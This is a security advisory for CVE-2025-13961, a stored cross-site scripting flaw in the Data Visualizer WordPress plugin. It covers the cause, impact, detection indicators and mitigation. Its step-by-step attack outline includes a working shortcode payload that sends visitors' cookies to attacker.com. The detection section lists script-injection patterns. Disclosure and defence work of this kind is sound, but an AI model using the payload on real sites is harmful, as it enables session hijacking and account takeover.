CVE-2025-13961: 
WordPress vulnerability analysis and mitigation

CVE-2025-13961 is a Stored Cross-Site Scripting (XSS) vulnerability in the Data Visualizer plugin for WordPress. It affects all versions up to and including 1.1, stemming from insufficient input sanitization and output escaping on user-supplied attributes in the plugin's visualize shortcode. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages, which execute whenever a user visits the affected page. It was published on December 12, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's visualize shortcode handler, where user-supplied shortcode attributes are neither properly sanitized on input nor escaped on output before being rendered in the page HTML. An attacker with at least contributor-level WordPress access can craft a post or page containing a malicious [visualize] shortcode with injected JavaScript, which is then stored in the database and executed in the browsers of any user who views the page. The vulnerable code path is visible in the plugin source at line 92 of data-visualizer.php (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user's browser session when they visit an injected page, impacting both confidentiality and integrity (CVSS scores: C:L, I:L, A:N). This can lead to session cookie theft, credential harvesting, defacement of page content, or redirection to malicious sites. Because the payload is stored server-side, all site visitors — including administrators — are at risk each time the compromised page is loaded, potentially enabling privilege escalation or further site compromise (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13961 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Data Visualizer plugin version 1.1 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a [visualize] shortcode with a malicious attribute containing a JavaScript payload, e.g., [visualize attribute="\"\><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit for review: Save or publish the post. The malicious payload is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the browser renders and executes the injected JavaScript, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing unusual shortcode content with encoded script tags or JavaScript event handlers.
• Database: WordPress wp_posts table entries containing [visualize] shortcodes with attributes including <script>, javascript:, onerror=, onload=, or other JavaScript injection patterns.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the [visualize] shortcode, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for stored XSS; however, review plugin files at wp-content/plugins/data-visualizer/data-visualizer.php for unauthorized modifications (Wordfence).

Site administrators should update the Data Visualizer plugin to a version beyond 1.1 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As a workaround, restrict contributor-level user registrations and limit who can create or edit posts containing shortcodes. Implementing a Web Application Firewall (WAF) — such as Wordfence — can help detect and block XSS payloads in shortcode attributes. Regularly audit posts and pages for unexpected or suspicious shortcode usage (Wordfence).

Wordfence disclosed this vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it as a medium-severity stored XSS issue. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified (Wordfence Blog).